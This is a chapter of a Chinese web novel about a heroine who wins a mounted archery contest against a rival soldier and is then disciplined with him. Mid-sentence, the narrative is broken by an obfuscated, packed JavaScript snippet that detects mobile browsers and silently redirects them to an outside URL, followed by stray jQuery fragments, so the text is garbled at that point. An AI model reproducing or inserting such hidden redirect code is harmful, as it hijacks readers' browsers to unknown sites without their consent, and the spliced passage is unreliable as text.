117. 比试
作品:《重生之大兴女将》 初次来到新环境,鲜少有不想与周围人好好相处的人。
如果真有这样的人,除了脑子不好,也有可能是因为他身负过人之才,这才足够使他凌驾在众人之上,以至于让他眼睛高过头顶,不将别人放在自己眼里。
这样的人被文人称作恃才傲物,在军中,则被叫做刺头儿。
初暒前世带兵时,最喜欢这样的刺头儿。
嚣张得有嚣张的资本,否则只能得到一顿军棍。
听到白冲已经为自己将台子搭好,艾川栋抱臂走到被新兵环绕着的空地中间,趾高气扬的朝初暒挑眉,问,“你当真敢与我比试?”
初暒十分确定,“比试而已,有何不敢。”
在兴民城入伍的人,大多都是兴民城人。
他们中有的认出白知州的独子白冲,有的想起他来这儿之前是州府军中人,也有的瞧见他推出来与初暒比试的艾川栋觉着眼熟,又觉得似乎在哪儿听过他的名号。
人群中忽然有人恍然哦了一声,大声道,“那个叫艾川栋的,与白少爷都原是兴民城州府军!我曾听说他以一己之力用骑射之能单挑全兴民城州府军兵士而无败绩,还被白知州当众赞扬过呢!”
“嗨呀,竟如此厉害,那初暒还与人家比试什么呀,直接跪地求饶算啦!”
“哈哈哈,这土匪头子在虔来山称王称霸惯了,估计没见识过咱们正规州府军的骑射风采,我觉得今日还是得请艾川栋出面让她长长记性,免得这帮土匪把咱们新兵营当成他们土匪山寨一般嘚瑟!”
有人将手扩在嘴边朝艾川栋喊话,“艾兄弟!好好比,一定给初暒一个教训。”
“就是!给她点儿颜色瞧瞧,让这群贼配军知晓什么叫官匪两道!”
周围人的高声与低语皆传进了楚六耳中,他悄悄扯了扯伍千裘的衣摆,问,“你平日与初暒最亲近,你可见过她骑马或是射箭?”
伍千裘摇头,“从未见过。”
“那还比什么啊!”楚六脸色大变,失控高喊一句而后又压低了声音,焦急道,“这是军营!不是豹子山!可不是只凭忽悠就能全身而退的!初暒既不会骑马不会射箭就更甭提骑射了!这要是输了,不止她,连带着咱们所有被招安的土匪都要跟着一起丢人的!”
看伍千裘不说话,楚六又重重怼了他肩膀一下,窜动说,“你快去劝劝初暒,别让她逞能,现在认输还来得及。”
初暒既然答应了,自然有她的原因,伍千裘还是不搭理他。
被杨田护在一旁的宋运从人群缝隙里挤进去,小声说,“我们今日被负重罚跑了二十里,身上的疲乏还缓过来,此时比试恐怕不公,要不…要不改日吧。”
能拖几日练习练习骑射也行……
宋运心里还没想完,白冲立即指着艾川栋,挑事说,“初暒负重跑了二十里,他也才挨了打还没吃饭,此时比试我瞧着公平的很!”
初暒知道他们在担心,抬手拍了拍宋运的肩膀安抚看了他一眼后,用下巴挑了挑人们身后方向,道,“既然都觉得公平,那就莫再磨叽,它们已经在那儿等待许久了。”
顺着初暒视线,众人发现自己身后不知何时多了两匹战马。
艾川栋看见战马,立即拨开人群朝马儿走去。
两匹战马威风凛凛、体格健壮,肌肉线条分明,勇猛的好似充满了力量。
他从侧面接近其中一匹,并伸手让其仔细嗅闻自己身上味道,耐心等战马不抵触时才轻柔地抚摸着它的颈部与肩部。
艾川栋选好了马,又瞧见练兵场中已经圈好跑道备齐了箭矢与靶垛,于是从中数了一些箭矢转身与初暒道,“每人二十支箭,乘马至起跑线,发令后,以最快的速度将这二十支箭射中跑道外安置的三个箭靶靶心者,胜。”
初暒点头同意,白冲挥着从一旁兵士手上借来的锣槌,说,“那便由我发令。”
临时在练兵场圈定的跑马道为沟形,全长不足百米,而设置在跑道外的靶垛有三个,相互之间的距离只有九丈。
在疾驰的马背上保持平衡的同时还要准确快速的射中三个间隙极短的箭靶,甭说他们这群才入营连马毛都没摸过的新兵,就是有些久经沙场的老兵也做不到,不然,中北也不会这么多年都拿在边境横行霸道、为非作歹的北漠铁骑没办法。
众人看向挽着硬弓、套上箭筒,以及其娴熟与轻盈之姿跨上马背的艾川栋,均不约而同地觉得,这场比试初暒无疑是自取其辱。
而不被他们看好的初暒本人,抬手摸了摸身边一匹看似脾气不是很好的战马,而后捏着马鞍、踩着马镫连拽带爬的攀上马背后,边捋着马儿鬃毛边轻声松了口气。
围在跑道外场看热闹的人瞧见她这幅笨手笨脚的模样都乐得哈哈大笑起来,伍千裘在这些笑声中没什么表情,可楚六像是自己在场上丢人似的,不忍地捂着自己的眼睛,啧了一声重重叹气,“天爷诶!我都替她觉得难堪!”
宋运看着握着缰绳在马背上都有些坐不稳的初暒,担忧道,“输了没关系的,只要她别伤着就好。”
杨田与董梁也跟着点头,“是呀是呀……”
“铛!”
锣槌撞击锣身,艾川栋应声率先乘一匹红棕战马疾驰跃出,马蹄踏在场上将消未消的积雪中捡起无数灰白泥点,聚在场外欢呼鼓劲儿的兵士们为避开这些迎面飞来泥点不由侧身后仰,而等骏马从面前奔走跑远,他们才看清艾川栋已经将六支箭留在了一个靶垛中心之上。
这么快!
站在第二个靶垛附近的人也不顾什么泥点不泥点的了,只瞪大自己的眼睛看着艾川栋脚踩马镫腰臀微微悬在马鞍之上,整个上身像静止在急速奔跑的战马背上,在路过靶垛时右手指尖一松便迅速从箭囊中又抽出三支,‘嗖’的全部放出。
“咚咚咚!”
三支箭矢正中靶心。
乘战马射击一个靶垛需要六支箭矢,到此时艾川栋已经用了十二支,众人看他以此法跑过第三个靶垛时测算出他的箭囊中还剩两支箭矢,都还在想这二十支箭要是没射完还能不能算赢那瞬,一抬眼竟看见马背上的艾川栋抽出最后两箭猛地转身回射,来了一招敏捷利落的回马箭。
艾川栋在顷刻间乘战马射出二十支箭,且箭箭正中靶心,身负此等技艺,难怪看不起以烧杀抢掠之能混入军营的土匪了。
“好!”
不知是谁起了头,挤在跑道外的所有兵士们纷纷拍手叫好,艾川栋在众人仰慕的视线中,骑马重又回到了起点,他势在必得于是得意地看着还在马背上调弓的初暒说,“要现在认输还不算丢脸。”
量力调弓,量弓制矢。
弓矢不调,羿不能以必中。①
初暒将硬弓调试到适合自己发力的程度,手握长弓回视着这个确擅几分骑射的男子,道,“我要是想认输,这会儿白费力气调弓做什么,你才射出去二十支箭眼神就开始不好使了么。”
以为初暒还在嘴硬,艾川栋不屑笑了笑,抬手向她做了个请的手势。
初暒也不拿乔,在他目光中双腿夹了一下马腹,缓缓走向起跑位置。
艾川栋大炫自己的骑射技艺,引得围观这场比试的人都心潮澎湃,他们还未从方才的激动中冷静下来,扭头又瞧见初暒颤颤巍巍骑着马出现。
嬉笑与嘲讽不绝入耳,可白冲看眼前这人却像是听不见似的,只在原地专注地等待起跑锣声。
虽不喜初暒总是这幅眼高于顶的模样,但白冲也不得不承认,面对必输无疑的比试还能这般云淡风轻,她的心态还真是好的没话说。
挥手敲锣。
啰音未落,‘驾’声先起。
眨眼间,仍是一道红棕骏马身影从人们眼前急速飞过。
初暒手执长弓、腰负箭囊,身乘骏马势如追风,目如流电向前直奔,就在众人以为她会以此速度跑过靶垛而来不及射箭时,有眼尖的人瞧见,她亦从腰间箭囊中抽出了三支箭矢调息搭弦。
不等所有人反应,初暒立身大架,眼明视专,前手主定,后手加力,拉满手中弓、急放弦上箭,‘嗖’的一声弦回箭发,第一个靶垛中心落入箭矢两支。
搭箭三支却只射中两支,自初暒架马立在起跑线时就开始警钟大作的艾川栋忽的愣了一瞬。
旁人没看清,都以为初暒是在抽箭时不慎掉了一支,可艾川栋清楚,那未被射出的一箭还虚搭在她的弦上。
这手法他原先只在兵书中看过。
书上说,与敌对战中,若才发两箭便遇上突发情况,那剩下的一支便可作为后备迅速转向发出,他也练过这法子,可始终无法在弦上维持两支箭的稳定而只将第三支箭挂在弓弦上作为预备箭矢。
他没做到的事情,有人竟做到了。
艾川栋紧握双拳,继续咬牙看着场上循环抽三箭而只发两箭的初暒。
骏马飞驰而过,伍千裘定睛才发现,第一个靶垛中心上也落入六支箭矢。
他眼睛一亮,惊呼,“好快的身手!抽三箭只发两箭,却也能同艾川栋一样在靶垛中心留下六箭!”
在伍千裘的声音里,所有嘲笑奚落初暒的人的目光已齐刷刷跟随她的身影接近了最后一个靶垛。
以迅雷不及掩耳之势抽搭三次连发六箭,初暒手中只剩最后两支箭,众人看她和艾川栋同样策马跑过第三个靶垛都在聚精会神看她会以何种姿态发出最后两支,却没想到就在此时,场外倏地飞出一箭,竟直直朝着初暒背部射去!
伍千裘最先高喊,“小心!”
而早在他发声之前,初暒已然察
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888166|192103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉身后动静,她迅疾反手握着马鞍翻身拖马随行。
马背上忽然不见她的人影,宋运惊恐啊了一声,在旁边看他们比试的教头也以为初暒中了暗箭不慎坠马,都吃了一惊接二连三的在新兵们的呼喊声中跳出来救人。
只不过…
他们还没从人群里挤出,自‘无人’掌控的战马上方发出的两道箭矢就先他们一步落入第三个靶垛。
“蹬里藏身!?”
踩蹬藏身马背侧面,只等时机成熟,突然出现射杀敌人。
艾川栋放下手中硬弓又大喊一句,“你他娘的怎的还学过此等偷袭战术,真是无耻!”
避开身后暗箭,重新翻身坐回马背的初暒亦在与艾川栋不相上下的时间内,发完囊中二十支箭返回起点。
她离蹬跳下马,推开惊讶地朝自己跑来想要庆贺的楚六,切齿狠狠直冲着在战马旁愤怒叫骂的艾川栋脸上奋力挥了一拳。
“我认真与你比试,而你却在身后用暗箭偷袭我,要论无耻,你排第一没人就敢排第二!”
虽然白冲没有公布两人骑射时间,但艾川栋心知肚明这场比试是他输了。
艾川栋没想过有人会在自己擅长的技艺上打败自己,一时昏头才从手边抽出一支箭朝初暒射去。
他又不是故意的!
何况人不是没事么!
输了比试本就气愤的艾川栋被初暒打过一拳后更是怒极,他不管嘴角疼痛,也举着拳头朝初暒面门挥去。
艾川栋人高马大,初暒也不甘示弱,两人你来我往打得不开交,饶是白冲与伍千裘等人同时窜出来也没能将打得难解难分的两人拉开。
“都住手!”
围在此处看热闹的新兵被两拨兵士推搡在两边,空出一条可供行走的路来,从头到尾旁观完这场骑射比试的人,在众教头的簇拥下缓步走向正骑着艾川栋狂锤的初暒,沉声道,“我说住手。”
初暒悬在空中的手一顿,看清来人后终于从艾川栋身上站起。
阎龙目光在面前鼻青脸肿的两人身上扫过后,又看向了周围看着自己胆战心惊的诸多新兵未露喜怒。
昨夜才讲过军纪,今日他们就开始在练兵场放纵喧哗。
阎龙不说话,新兵们还以为他在心里琢磨自己惩罚他们,都吓得默不作声。
像是十分享受这种沉默,阎龙过了好一会儿才说,“初暒、艾川栋!军中互斗,但念在情节较轻,罚你二人马步站桩三个时辰!”
初暒:“是!”
艾川栋:“是!”
三个时辰?
都过了晚间饭点了!
艾川栋午饭没吃,晚上还得挨饿,拱手应声时不由恨恨剜了初暒一眼。
初暒与艾川栋去练兵场旁木桩阵中领罚,阎龙面向场中剩余新兵,高声喝道,“其余人迅速集结,听我口令做列队训练!”
众新兵:“是!”
新兵们应声后便立即照着记忆在练兵上找寻自己原先的站位,却因为不熟悉场地和不懂相互配合而在场内碰碰撞撞,有几个还险些被同袍撞倒。
这么些人只是列队就如此混乱,真是一群废物……
阎龙面无表情的在心里怒骂,这时有三个小兵各拖着一个靶垛朝他走来禀报道,“阎教头,属下清理那两个新兵骑射靶场时发现了这个,您请过目。”
靶场靶垛大多都是由干草、稻草堆叠而成。
这种靶垛制作简单,成品却十分坚固,寻常百姓根本无法使弓将箭矢没入其中。
可眼前这三个靶垛,每个上面至少杵着六支箭矢,而每一支箭已经不能说没入了。
它们均刺穿了比成年强壮男子身体还厚一倍的靶垛。
尤其最后一个,靶垛与靶架分离,是被小兵捡回单独拎在手里提来的。
“艾川栋那三个靶子与寻常士兵作训骑射时差不多,可这三个……”阎龙戳着刺猬一般的靶垛,听小兵又说,“阎教头,属下从军这些年从未见过如此酣畅淋漓的骑射比试,初暒这小子,是个苗子。”
阎龙自然知道初暒是个苗子。
这个苗子既能让数百名虔来山中土匪甘愿俯首追随、又能一声不响的负重跑完二十里,还身负如此策马骑射才能,说她是苗子都实在是抬举苗子。
阎龙并非没有见过好兵,可是却没见过这样一个好到发邪的兵。
他有些瘆得慌。
站桩阵中,艾川栋不知说了什么惹到初暒,被她一脚从上面踹了下来,艾川栋骂骂咧咧回去后,特意站的离她远一些,阎龙笑笑,背手看着这两个跟没长大的孩子一样受罚也不安分的新兵蛋子,冷声道——
“好苗子须得经受风吹雨打、修剪冗余才可使之成材,只是不知……她那小身板能不能受得住。”

